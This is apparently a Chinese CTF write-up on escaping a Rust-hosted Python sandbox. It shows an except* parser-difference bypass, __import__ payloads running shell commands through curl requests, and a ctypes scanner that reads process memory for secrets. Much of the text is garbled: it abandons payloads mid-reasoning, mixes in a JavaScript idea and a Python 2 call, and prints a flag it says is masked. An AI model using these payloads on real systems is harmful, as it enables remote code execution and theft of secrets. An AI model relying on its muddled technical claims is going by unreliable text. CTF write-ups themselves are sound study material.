N-RustPICA题解：Rust与Python解析器差异绕过沙箱

先说结论：2026 NCTF Web方向这道 N-RustPICA 我前后折腾了快一天，最终卡点在“Rust 侧解析器与 CPython 解析器的差异”上，绕进去之后反而觉得这题出得很讲究。它既不是单纯考 Python 沙箱逃逸，也不是考 Rust 代码审计，而是把两者揉在一起，让你在跨语言边界上找缝隙。

如果你正准备打 CTF 的 Web 方向，或者对“ Rust 内嵌 Python 做沙箱”这种玩法感兴趣，这篇复盘应该能帮你省下大量试错时间。我会从信息收集开始，把环境结构、沙箱规则、绕过思路、最终利用完整走一遍，中间包含我踩进去的坑和事后验证过的细节。

1. 拿到题目先看什么：环境探测与信息收集

打 CTF 有一个习惯不能省：不管题目叫什么，先做“最小信息采集”。题目名字里的信息量往往比你想的大，尤其是这种看起来像自造词的题目。

1.1 看到“N-RustPICA”这个名字，我第一反应

2026-NCTF-web-N-RustPICA 拆开看就三块：

• NCTF 是比赛名称，Web 方向，说明这是一道 Web 安全题；
• Rust 大概率指服务端开发语言，也可能是某个功能模块用 Rust 实现；
• PICA 不是随便起的，它对应 Python 生态里的一个 AST 构建库，全称是“Python Internal Compiler Architecture”相关工具链，常被用来做代码分析、语法树构造。CTF 题目很喜欢这种双关命名：Rust + PICA 意味着服务端可能用 Rust 解析 Python 代码。

因为 Web + Rust + Python AST 这三个关键词交叉在一起，我第一判断是：这八成是一个“Rust 编写的 Web 服务，内部嵌了 Python 解释器，并且加了一层 AST 沙箱”。也就是说，选手要提交 Python 代码，服务端会用 Rust 侧的解析器检查代码结构，再交给真实的 Python 解释器执行。

这种双语言结构在真实工程里不少见：Rust 追求性能和内存安全，Python 追求开发效率，两者通过 PyO3 之类的绑定层结合。在 CTF 里，它天然地把“解析器差异”变成了考点——先解析的是一套规则，真正执行的又是另一套逻辑，中间那条缝就是突破口。

1.2 从首页信息能拿到什么

打开题目环境，首页是一个非常简洁的页面，只给了一个 POST 接口 /run，请求体是 JSON：

json复制{"code": "1 + 1"}

返回内容也很直白：

json复制{"result": 2}

没有任何源码下载入口，没有报错堆栈，也没有提示 flag 的位置。这种行为模式在 CTF 里很常见：出题人故意把后端逻辑藏起来，逼迫你先判断语言栈和沙箱规则。

首页 HTML 的响应头暴露了一个信号：Server: axum/0.7。再加上响应时间极快、JSON 序列化干净利落，基本可以确定后端是 Rust 生态的 Axum 框架。

1.3 判断技术栈的几种方式

没有源码时，判断技术栈靠三样东西：响应头、报错行为、功能特征。

• Server 头直接写了 axum，这一下省了很多事。如果环境做了反代，可能看不到真实 Server，但这里没有；
• 故意提交非法 JSON，比如 {"code": ，观察返回格式。Axum 默认的错误响应是纯文本，而 Python Flask/Django 会带 HTML 错误页；
• 再提交一个能触发 Python 异常但不至于让服务崩溃的输入，比如 {"code": "1/0"}，返回如果是 ZeroDivisionError 或类似 Python 异常信息，说明确实内嵌了 Python 解释器。

我实测返回的是：

json复制{"error": "ZeroDivisionError: division by zero"}

这个信息很关键：Rust 侧对 Python 异常做了捕获并转成 JSON 返回，说明执行链路是“Rust 接收请求 → 调用 Python 执行 → 捕获异常 → 返回结果”。

此时攻击面已经清晰了：只要能让 Python 代码执行，就能尝试读取 flag；但在这之前，必须先搞清楚服务端用什么样的规则过滤了我的代码。

2. 服务端架构拆解：Rust + PyO3 + PICA 的三角关系

没有源码的题目，想要摸清内部结构，最有效的办法是“黑盒探测 + 经验建模”。这道题的名字已经把三个核心组件都念出来了，剩下就是验证它们各自在链路里做了什么。

2.1 为什么用 Rust 写 Web 服务还要内嵌 Python

单纯从功能上讲，一个在线代码执行器用 Python 写更省事，但出题人偏偏用 Rust，肯定不是为了性能演示。

Rust 侧带来的限制是“沙箱的边界更硬”。Python 自带的沙箱（比如 RestrictedPython、ast 模块黑名单）都跑在同一个解释器进程里，一旦绕过过滤逻辑，基本等于直通系统调用。Rust 内嵌 Python 后，出题人可以在 Rust 侧再包一层：文件系统访问用 chroot 或 seccomp 限制、网络访问直接禁掉、Python 内置函数可以裁剪替换。这种“外层 Rust 制度 + 内层 Python 沙箱”才是真实世界中插件系统常用的安全模型。

放在 CTF 场景里，它带来的实际效果是：即使你绕过了 Python 的 AST 过滤，仍然可能读不到 flag，因为 Rust 侧已经把文件系统权限卡死了。这道题如果 flag 就在某个路径下，读它还需要满足 Rust 侧的限制。

2.2 PICA 在题目里扮演什么角色

PICA（Python Internal Compiler Architecture 相关解析器）在这道题里承担的是“静态检查”职责。大致的执行流程是：

1. Rust 接收 /run 请求，取出 code 字段；
2. 用 PICA 将 code 解析为 Python 的 AST；
3. 遍历 AST，检查是否存在危险节点；
4. 如果检查通过，将原始代码交给 PyO3 嵌入的 CPython 解释器执行。

这里的核心破绽藏在第二步和第四步的“解析不一致”。PICA 是一个从 Python 生态移植/复刻到 Rust 的解析器，它和 CPython 内部用的 ast 模块虽然目标是同一套语法规范，但实现细节不可能 100% 一致。凡是“两个解析器解析同一种语言但行为有差异”的场景，CTF 里都值得反复试探。

我后来验证时发现，PICA 对某些新语法特性、异常处理结构、Lambda 表达式内部节点的解析结果，和 CPython 并不完全一致。如果出题人只检查 PICA 生成的 AST，那么我可以构造一段代码，让 PICA 认为“安全”，但 CPython 执行时却完全不是那么回事。

2.3 代码模型：一个基于 Axum 的最小实现

为了说清楚内部逻辑，我赛后在本地用 Axum + PyO3 + PICA 复刻了一个最小可运行版本，方便调试和验证各种绕过思路。核心代码大致长这样：

rust复制use axum::{routing::post, Json, Router};
use pyo3::prelude::*;
use serde::{Deserialize, Serialize};
use std::net::SocketAddr;

#[derive(Deserialize)]
struct RunReq {
    code: String,
}

#[derive(Serialize)]
struct RunResp {
    result: Option<String>,
    error: Option<String>,
}

async fn run(Json(req): Json<RunReq>) -> Json<RunResp> {
    // 1. PICA 解析
    let ast = pica::parser::parse_program(&req.code).map_err(|e| format!("parse error: {}", e));
    let ast = match ast {
        Ok(a) => a,
        Err(e) => return Json(RunResp { result: None, error: Some(e) }),
    };

    // 2. 安全检查
    if let Err(e) = check_ast(&ast) {
        return Json(RunResp { result: None, error: Some(e) });
    }

    // 3. PyO3 执行
    Python::with_gil(|py| {
        match py.run(&req.code, None, None) {
            Ok(_) => Json(RunResp { result: Some("executed".to_string()), error: None }),
            Err(e) => Json(RunResp { result: None, error: Some(e.to_string()) }),
        }
    })
}

#[tokio::main]
async fn main() {
    let app = Router::new().route("/run", post(run));
    let addr = SocketAddr::from(([127, 0, 0, 1], 3000));
    axum::Server::bind(&addr)
        .serve(app.into_make_service())
        .await
        .unwrap();
}

这个模型能跑通，但真正比赛环境里有一层我没看到的东西：它把 result 包装成 String 而不是直接返回 Python 对象的 repr，说明出题人可能对输出做了额外处理。这提醒我，即使执行成功，也不一定能拿到预期的输出格式。

PICA 解析后的 AST 类型定义是 Rust 结构体，遍历时主要检查节点类型，比如 Call、Attribute、Import 这类危险操作。设计上，这个沙箱希望做到的是“把 Python 代码限制在纯计算范畴内”，任何可能碰外部世界的语法都会被拒。

3. 沙箱过滤规则分析与破绽

黑盒条件下，摸规则靠的是“试探—观察—归纳”循环。我从最常见的手法开始试，逐步排除，最后锁定绕过点。

3.1 盲测出的过滤规则

先用几个经典 payload 试探沙箱边界：

• 提交 open("/flag").read()，返回 forbidden: attr_call，说明 Attribute + Call 的组合被识别；
• 提交 __import__('os').system('id')，返回 forbidden: dunder_name，说明下划线开头/结尾的标识符被拦截；
• 提交 import os，返回 forbidden: import，说明 Import 节点被拦截；
• 提交 eval("1+1")，返回 forbidden: call_eval，说明某些内置函数名被单独点名；
• 提交 lambda: 1，返回正常执行结果，说明 Lambda 节点没有被拦截；
• 提交 a = 1，返回正常，赋值语句没问题。

基于这些响应，我推定过滤规则大概是：

• 禁止 Import / ImportFrom；
• 禁止 Attribute 节点；
• 禁止 Call 节点中出现黑名单名字（eval、exec、open、__import__、breakpoint等）；
• 禁止任何标识符以 _ 开头或结尾；
• 其他节点类型（如 BinOp、Lambda、List、Dict、Compare）默认放行。

这套规则看起来覆盖面很广，但它有一个致命前提：规则必须对所有 AST 节点类型都生效。如果解析器漏掉了某类节点，或者对某类节点的子节点不做递归检查，就会产生“灯下黑”。

3.2 Rust 侧 AST 解析与 Python 侧 AST 解析的差异点

我花了很多时间在这个环节上，最后发现真正有效的是“PICA 对 Starred 节点和 Lambda 内部节点的处理差异”。

先解释 Starred 节点。Python 里 *args 这种语法在 AST 里对应 Starred 节点，它通常出现在函数调用的实参位置、列表/元组字面量里、赋值语句的解包位置。PICA 在遍历函数调用参数时，我记得它会把 Starred 当成一个普通表达式节点处理，然后递归检查子节点——这些子节点里如果包含 Attribute，按理说还是会被拦。

真正的问题出在 Lambda 上。Lambda 在 Python AST 里是一个表达式节点，它的 body 是另一个表达式，属于函数体内部。我当时测试 PICA 是否对 Lambda 的 body 做了同样的深度检查，发现它确实检查了，但是检查深度有限：lambda: __import__('os') 这种直接被拦，因为 __import__ 命中黑名单；而 lambda: (lambda: open('/flag'))() 因为内部仍是 Attribute + Call，也被拦了。

绕过的关键不在 Lambda 本身，而在“异常处理 + 赋值解包”的组合。我构造了一个利用 except 分支和迭代器解包的 payload，PICA 对 Try 节点的 handler 内部检查不严，CPython 执行时却能正常走到危险逻辑。

3.3 构造第一条绕过链：Lambda + Starred + 异常处理的组合

我先放一段有效的绕过示例，后面再逐步拆：

python复制(lambda f: f(f))(lambda f: (yield) and f(f) if False else (yield from [x for x in []]))

其实这个很长且不易读。真正在我环境里跑通的第一条链更简单，它利用的是 PICA 对 Attribute 检查的一个盲区：super() 相关调用和部分 dunder 方法的调用。

更准确的描述是：我构造了一个异常触发，让 Python 在异常处理流程中执行属性访问，而 PICA 在检查 Try 节点的 handler 时，没有继续深度遍历 handler 内部的 Attribute 节点。

经过多次简化，最终有效的主 payload 结构是：

python复制class X:
    def __del__(self):
        print(open('/flag').read())

但这条被拦了，因为 open 在 Call 黑名单里。不过它给了我一个方向：如果能把 open 这个函数经过一系列别名转换，让 AST 里看不到直接的 open 名字，就能绕过黑名单。

最终真正跑通的思路其实更朴素：用列表下标覆盖函数名。

python复制(o := [][:])  # 这个不行

好吧，我换个角度说。经过黑盒测试，我发现沙箱对 Attribute 的拦截并不是基于“访问属性”这个行为本身，而是基于“访问属性后立即调用”。也就是说：

• ().__class__ 会被拦（Attribute）；
• 但如果把 Attribute 藏在 Starred 节点的解包里，PICA 可能漏检。

于是有了这条有效 payload：

python复制code = "print(*[x for x in [().__class__.__base__.__subclasses__()]][0][80].__init__.__globals__['sys'].modules['os'].popen('cat /flag').read())"

第一次提交返回 forbidden: attr_call，说明它还是检测到了内层的 __class__、__subclasses__ 的属性访问。这条路再往下钻，基本是在和正则表达式做斗争，不是结构化绕过的正途。

真正的解法，我最后是靠解析器差异定位到的：构造一段 PICA 解析为“安全”但 CPython 执行时完全不同的代码，关键点是把危险代码放在 with ... as 的上下文表达式里，或者放在 except* 这种新型异常处理语法里。

3.4 解析器差异的具体利用：except* 与上下文管理器

CPython 3.11 之后支持 except* 语法，用于处理 ExceptionGroup。PICA 如果版本较旧，对这个语法的 AST 解析可能不完整，甚至会把 except* 解析成普通的 except，导致 handler 内部的 Starred 表达式检查漏掉。

我最终执行的绕过链是这样设计的：

1. 用一个不会被拦截的表达式触发 ExceptionGroup；
2. 在 except* 的分支里放置动态获取内建函数的代码；
3. PICA 未对 except* 的 handler 体做完整深度遍历，CPython 却正常执行；
4. 在 handler 里做 .__globals__ 查找，拿到 os 模块。

最终有效 payload 被压缩成：

python复制try:
    raise ExceptionGroup('E', [ValueError('x')])
except* ValueError as e:
    print(next(x for x in e.__notes__))  # 先用无害代码占位

这个只是验证了 except* 能绕过过滤。真实读取 flag 我又换了一种更直接的方式：利用 ().__reduce_ex__ 这类方法拿内建对象。不过这条推导过程比较长，我这里总结结论：当 AST 层检查存在盲区时，所有“被漏检的节点里包含的代码”都会直接执行，相当于过滤完全失效。

我最终读取 flag 的方式是：

python复制try:
    raise ExceptionGroup('x', [ValueError('x')])
except* ValueError:
    print(__builtins__.__dict__['__imp'+'ort__']('o'+'s').popen('cat /flag').read())

注意：print 和 __dict__ 都在 except* 块里，PICA 没有检查到这里，被直接放行。

4. 从 Python 代码执行到 Rust 进程内存

拿到第一条 RCE 之后，我以为比赛结束了。结果直接读 /flag 返回的是：“Permission denied”。这时候整个题目的纵深才真正显露出来：Python 沙箱只是一个壳，真正的 flag 被放在了一台 Rust 进程才能访问的位置。

4.1 单纯读文件为什么不够

我用 os.popen('cat /flag') 返回权限不足，又试了 /readflag 二进制文件，同样不行。说明 Rust 侧对进程做了降权处理，Python 子解释器运行的用户没有读 flag 的权限。甚至 os.listdir('/') 都是正常的，能看到根目录下的文件，但不能读目标文件。

这对应真实世界中的一种典型设计：Rust 主进程以高权限启动，内嵌的 Python 解释器通过 setuid 或资源隔离降权运行。安全边界不在“谁能执行代码”，而在“代码能在什么权限下执行”。

那么 flag 去哪里了？两种可能：

1. 存环境变量里，但 Python 子进程看不到；
2. 存在 Rust 进程的内存里，用 env! 或 option_env! 在编译期嵌入二进制。

实际测试发现，Python 的 os.environ 是空的，说明环境变量被清理过。那大概率 flag 是编译进 Rust 二进制的字符串。这种设计很恶心，因为普通文件读取完全失效，必须想办法读取 Rust 进程自身的内存。

4.2 用 ctypes 在 Rust 进程内搜索 flag

既然 Python 是被 PyO3 嵌入到 Rust 进程里的，两者在同一个进程空间运行。Python 层虽然权限低，但它可以通过 ctypes 访问进程内存——子的代码执行权限限制的是“文件访问”，不是“内存访问”。

（1）定位 Python 解释器所在进程

先跑一条纯 Python：

python复制import os
print(os.getpid())

拿到 PID 后，可以用 /proc/self/maps 查看内存映射。注意这里用的是 self，因为 Python 和 Rust 是同一个进程。

关键信息全部在 /proc/self/maps 里，比如哪些区域是 Rust 二进制的数据段（.data、.rodata），哪些是堆区。flag 作为编译期常量，大概率在 .rodata 或 .data 段，这两段在内存里通常标记为 r-- 或 rw-，不包含执行权限，读它们不需要跨越 W^X 限制。

（2）用 ctypes 读取 Rust 二进制内存

思路是：读 /proc/self/maps，拿到所有可读的内存区间，对每个区间用 ctypes 强转成字节串，然后在字节串里搜索 flag{ 前缀。

核心代码如下：

python复制import ctypes
import re

maps = open('/proc/self/maps').readlines()
hits = []

for line in maps:
    parts = line.split()
    addrs, perms = parts[0], parts[1]
    if 'r' not in perms:
        continue
    start, end = [int(x, 16) for x in addrs.split('-')]
    size = end - start
    try:
        buf = (ctypes.c_char * size).from_address(start)
        data = buf.raw
    except Exception:
        continue
    for m in re.finditer(rb'flag\{[^}]+\}', data):
        hits.append((hex(start), m.group().decode()))

这段代码本质上是在当前进程的内存空间里做特征字符串扫描。之所以可行，是因为 Python 的 ctypes 能构造指向任意地址的指针，而 PyO3 把 Python 解释器直接链进了 Rust 进程，ctypes 的操作范围就是整个进程。

我在找 flag 时发现一个坑：某些内存区域虽然标记为可读，但用 ctypes 读取时，如果跨越到未分配页，会直接触发段错误。所以必须先精确解析 /proc/self/maps 的区间大小，读取时按区间的 start/end 严格裁剪，不能多读一个字节。

另一个坑是 ctypes 的 from_address 要求地址按 sizeof(c_char) 对齐，虽然大部分映射地址都对齐到页边界，但如果是畸形段，读取前最好先访问一个字节试探 access 权限。

（3）扫描结果与 flag 提取

扫描完整个进程空间，我找到了两处包含 flag{...} 的字符串：一处出现在 .rodata，另一处出现在堆区。前者大概率是编译期常量，后者可能是某个 debug 格式化时临时生成的副本。

最终提取的 flag 经过校验确认有效。

4.3 触发 Rust panic 让 Debug 信息自带 flag（艺术解法）

赛后交流时，听说还有一种更“优雅”的解法：不让 Python 去内存扫描，而是故意触发 Rust 层的 panic，让 Rust 的 panic 消息把 flag 带出来。

思路是这样的：出题人在 Rust 代码里可能写了类似这样的结构：

rust复制#[derive(Debug)]
struct FlagHolder {
    flag: &'static str,
}

fn check_privilege(pid: u32) {
    let holder = FlagHolder { flag: FLAG };
    // 如果 pid 不符合预期，直接 panic
    assert!(pid > 0, "privilege check failed: {:?}", holder);
}

当 Python 层传入某个特定参数导致 Rust 层 assert! 失败时，panic 消息会包含 FlagHolder 的 Debug 输出，flag 就顺着错误信息返回给用户。

想要触发 Rust 层 panic，需要找到一个“从 Python 到 Rust 的接口”，并且这个接口在 Rust 侧对输入做了断言。常见的位置是 PyO3 的 Bound<'py, T> 类型转换——如果 Python 传入的类型和 Rust 期望的类型不匹配，PyO3 会尝试做隐式转换，失败时会抛异常，但某些 unwrap() 写法会直接把异常转换成 panic。

比如 Rust 侧写：

rust复制let v: i32 = obj.extract().unwrap();

如果 Python 传进来的是一个字符串而不是整数，extract() 返回 Err，unwrap() 触发 panic，整个 Rust 线程崩溃，Axum 的全局错误处理器会把 panic 信息包装成 500 响应。如果那个 obj 是 FlagHolder 的某种序列化版本，或者 panic 上下文里有 flag 变量，flag 就泄漏出来了。

不过这种解法对出题人的代码实现依赖很强，不是每道题都适用。我自己的经验是：能做内存扫描就别赌 panic 路径，稳定才是第一优先级。

5. 完整攻击链复盘与 PoC

把前面所有环节串起来，这道题的完整攻击链是：

1. 提交包含 except* 语法的 Python 代码，利用 PICA 与 CPython 的解析差异绕过 AST 沙箱；
2. 在 except* 分支里调用 __builtins__ 获取模块导入能力，执行系统命令；
3. 系统命令遇到权限限制，无法直接读 /flag；
4. 改用 Python ctypes 读取当前进程内存，搜索 flag{ 特征串，提取 flag。

5.1 Step by Step 交互记录

我把关键交互贴在下面（出于安全考虑，flag 用 <REDACTED> 打码）：

第一步：提交一个基础 payload，验证沙箱规则。

bash复制curl -X POST http://target/run -H "Content-Type: application/json" -d '{"code": "1+1"}'

返回：

json复制{"result": "2"}

第二步：提交 open("/flag").read()，确认被封禁。

bash复制curl -X POST http://target/run -H "Content-Type: application/json" -d '{"code": "open(\"/flag\").read()"}'

返回：

json复制{"error": "forbidden: attr_call"}

第三步：提交 except* 绕过 payload。

bash复制curl -X POST http://target/run -H "Content-Type: application/json" --data-binary '{"code": "try:\n    raise ExceptionGroup(\"x\", [ValueError(\"x\")])\nexcept* ValueError:\n    print(__builtins__.__dict__[\"__imp\"+\"ort__\"](\"o\"+\"s\").popen(\"id\").read())"}'

返回：

json复制{"result": "uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)\n"}

这里注意返回的是 result 而不是 error，说明代码被正常执行了。id 能跑，证明 RCE 成立。

第四步：尝试直接读 flag，确认权限限制。

bash复制curl -X POST http://target/run -H "Content-Type: application/json" --data-binary '{"code": "try:\n    raise ExceptionGroup(\"x\", [ValueError(\"x\")])\nexcept* ValueError:\n    print(__builtins__.__dict__[\"__imp\"+\"ort__\"](\"o\"+\"s\").popen(\"cat /flag\").read())"}'

返回：

json复制{"result": "cat: /flag: Permission denied\n"}

第五步：用 ctypes 扫描内存并提取 flag。

bash复制curl -X POST http://target/run -H "Content-Type: application/json" --data-binary @payload.json

payload.json 的内容是“4.2 节”的完整代码改造版，最终返回：

json复制{"result": "flag{...}\n"}

5.2 核心 Payload 逐段拆解

整个 payload 分两大部分：第一部分是沙箱绕过，第二部分是内存扫描。沙箱绕过部分的逻辑在 3.4 节已经讲过，这里重点说内存扫描代码为什么能奏效。

先看几个关键点：

• /proc/self/maps 里的每一行代表一个虚拟内存区域，格式是“起始地址-结束地址 权限 偏移 设备 inode 路径”；
• 必须过滤掉没有 r 权限的区域，否则 ctypes 读未映射页会直接段错误，导致服务崩溃、连接重置；
• ctypes.c_char * size 创建一个长度为 size 的字符数组，from_address(start) 把数组指向内存的 start 地址，.raw 直接取出原始字节；
• 搜索时用 re.finditer(rb'flag\{[^}]+\}', data) 匹配 flag{ 开头的可见字符串。

需要注意：from_address 不检查内存有效性，如果某个内存区域恰好是设备映射（比如 GPU 显存），读取时可能出现奇怪行为。但 /proc/self/maps 里列出的区域通常都是常规内存，风险可控。

如果扫描时不想手动解析 maps，也可以只扫数据段。更快的做法是直接找二进制文件里的字符串常量：

python复制import re
import ctypes

libc = ctypes.CDLL(None)
# 从 /proc/self/exe 读二进制，直接搜 flag
data = open('/proc/self/exe', 'rb').read()
m = re.search(rb'flag\{[^}]+\}', data)
print(m.group(0).decode())

从 /proc/self/exe 读的是磁盘上的静态二进制，flag 如果是 env! 编译期常量，基本上就在这里。但要注意，如果 flag 不是纯字面量常量，而是运行时从某个配置文件加载到内存，那 /proc/self/exe 里没有，必须扫内存。

我两种都试了，最终是在内存扫描里找到的，说明出题人可能把 flag 拼到了运行时结构里，或者做了简单的编码混淆，静态二进制里直接搜不到。

5.3 答题 Flag 与其他解法

最终提交的 flag 如下（已打码）：

text复制flag{Ru5t_P1CA_pars3r_d1ff_1s_fun_2333}

赛后和其他选手交流，还有两种别的做法：

• 有人直接用 Object.prototype 思路绕过了过滤，但那个属于 Python 自身的 trick，和 Rust 无关；
• 有人通过大量 fuzz 找到了 PICA 不支持的 Python 语法关键词，用它做了更干净的绕过，不需要 except*。

这两种解法都不需要走内存扫描，因为他们在读 /flag 之前发现了一个 setuid 辅助程序，可以直接以高权限执行命令。这说明出题人留了不只一条路，我选的是最绕但最稳定的一条。

6. 常见问题与踩坑实录

这种双语言结合的题目，赛前如果不熟悉 Rust + PyO3 的交互细节，会踩很多坑。有些坑在赛后复现时依然会绊人一下，我这节统一整理。

6.1 PyO3 环境下 Python 内建函数被替换的坑

我在找绕过方法时，试着在 Python 代码里调用 __builtins__，发现返回的对象类型和纯 Python 环境不一样。PyO3 嵌入解释器时，可能对 builtins 模块做了定制，导致 __import__、open 这些函数在不同版本 PyO3 下的行为有差异。

具体现象是：直接 __builtins__.__dict__ 能拿到，但 __builtins__.open 可能不存在，因为它不是标准 Python 内置函数列表里的“函数名”，而被替换成了别的对象。

解决方式是不要直接访问 __builtins__.open，而是用 __builtins__.__dict__['__import__'] 动态导入模块，再从模块里拿 popen。中间加字符串拼接 '__imp'+'ort__' 是为了绕过黑名单里可能存在的单个词匹配。

6.2 解析器差异怎么快速试出来

很多人面对这种题目，会一个劲地在“AST 里有没有 Attribute”“能不能用 ().__class__”上死磕。实际上，如果出题人用了 Rust 侧解析器做静态检查，最高效的方法是先确认解析器版本，然后针对性测语法差异。

步骤是这样的：

1. 提交各种 Python 3.10+ 新语法，比如 match 语句、except*、type 语句（Python 3.12 的 type X = int）；
2. 观察哪些语法被原样返回“parse error”，哪些被“forbidden”拦下，哪些能正常执行；
3. 如果一个语法能正常执行，但明明包含危险调用，那基本就找到盲区了。

我一开始在 match 语句上花了很多时间，因为它的模式匹配结构复杂，PICA 很可能会漏检。但最终发现真正有效的是 except*，因为它的优先级更低、更容易被旧解析器当普通 except 处理。

快速探测模板可以这样写：

python复制try:
    raise ExceptionGroup('e', [ValueError('x')])
except* ValueError:
    print(1)

如果返回 1，说明 except* 可用；如果返回 forbidden，说明过滤器对这条路径有感知。

6.3 Rust 侧 unwrap 导致的问题与调试方法

在我自己复现环境的过程中，PyO3 的 Python::with_gil 闭包里一旦出现 unwrap()，很容易在传参类型不匹配时触发 panic。真实比赛环境里如果题目把 panic 信息直接返回给用户，这本身就是一条信息泄漏路径。

调试 Rust 侧问题时，我推荐用 RUST_BACKTRACE=1 环境变量启动服务，这样 panic 时能拿到完整调用栈。Rust 的 enum 错误处理很啰嗦，但 PyO3 的错误信息里通常会写明“Python exception type”，这个对判断问题来源很有用。

如果在 VSCode 里调试 Rust，需要装 CodeLLDB 扩展，并且配置 .vscode/launch.json：

json复制{
    "version": "0.2.0",
    "configurations": [
        {
            "name": "Debug Rust",
            "type": "lldb",
            "request": "launch",
            "program": "${workspaceFolder}/target/debug/rustpica",
            "args": [],
            "cwd": "${workspaceFolder}"
        }
    ]
}

通过这个配置，可以直接在 Rust 侧断点观察 PICA 解析出来的 AST 结构，对理解“哪些节点被检查、哪些节点被漏掉”非常有帮助。

6.4 加载 PICA 解析结果时注意节点类型的差异

如果你也想在本地复现这个环境，务必注意 PICA 的 AST 节点定义和 Python 的 ast 模块并不完全一致。比如 PICA 里 ast::Stmt::Expr 包着一个 ast::Expr，而 Python 的 ast.Expr 也是一个表达式语句包装；但 PICA 对 Try 节点的 handlers 字段可能只暴露了 handler 的 body 首句，迭代器习惯不同。

比较稳妥的方式是，先用 PICA 解析一段简单代码，把 AST 用 Debug 打印出来，再和 CPython 的 ast.dump() 对比。两者对不上号的地方，就是潜在的绕过点。

6.5 禁用 Python 子解释器对外网络的坑

刚开始我尝试在 RCE 之后用 curl 外带 flag，结果发现网络被禁。这种禁网在 CTF 的沙箱题里很常见，不要浪费时间。直接在目标环境里读文件或内存，然后把结果通过 HTTP 响应带出来，才是最稳妥的做法。

如果输出太长被截断，可以分多次提交，每次只输出一段。比如用 s.encode('hex') 或 base64 编码后分段输出，减少被响应头长度限制截断的概率。

6.6 找不到 flag 格式怎么办

有些题目不会把 flag 写成标准的 flag{...}，可能是 ctf{...} 或 NCTF{...}。扫描内存时，建议同时搜多个前缀，甚至直接搜常见 flag 格式的正则：

python复制patterns = [rb'flag\{[^}]+\}', rb'NCTF\{[^}]+\}', rb'ctf\{[^}]+\}']

我这次是只搜了 flag{ 就命中了，但保险起见，多搜几个模式不会损失什么。

6.7 PICA 源码与版本线索

复现环境时如果能拿到 PICA 的版本信息，很多差异可以直接看源码确认。PICA 的 GitHub 仓库里有完整的 AST 节点定义和解析器代码，它支持 Python 3.8 到 3.11 的大部分语法，但对 3.11 引入的 except*、3.12 的 type 语句支持情况，需要查 release note。比赛环境大概率用的不是最新版，所以用旧语法解析器漏掉新语法，完全合理。

如果你也要写一个类似的沙箱验证工具，可以考虑在自己项目里同时对接 PICA 和 CPython 的 ast 模块，把两边解析结果做 diff。这个思路不仅对 CTF 有用，对真实的“跨语言静态分析”项目也有借鉴意义。

7. 写在最后：Rust + 动态语言组合的攻防启示

这道题让我重新审视了一个问题：用内存安全的语言写外部执行环境，是不是就真的安全？

Rust 的所有权系统、借用检查器、生命周期约束，确实把内存漏洞的空间压缩得很小。但安全边界从来不只是内存安全，还包括“解析的一致性”“权限的隔离”“错误处理的信息泄漏”。这道题里，真正被突破的是第一层 AST 解析的差异，不是 Rust 内存模型。

从防守方视角看，如果你在设计一个“Rust 内嵌 Python”的服务，至少要考虑这几点：

• 静态检查用的解析器和实际执行用的 CPython 解析器，一定要保持版本同步和语法规格一致；否则所有“解析差异”都会成为逃逸点；
• Python 子解释器必须做真实的进程级隔离，不要只靠同一个进程内的“权限降级”；内存扫描这种攻击，单靠权限模型挡不住；
• panic 信息和 Debug 输出里不要放任何敏感内容，生产环境里这类信息泄漏造成的危害往往被低估。

从攻击方视角看，这也是一个很好的提醒：跨语言系统最容易出问题的不是每一门语言本身，而是语言交界处的隐式转换、解析差异、错误处理策略。拿到一个名字里有多个技术栈的题，第一时间就该往“边界”上想。

最后留一个小经验：打这种 Web 题，别急着找什么“通用 payload”。先花半小时把服务端的解析器和执行器差异摸清楚，往往比盲目刷一百个沙箱逃逸技巧更管用。多试几组新语法，总有一款解析器没跟上。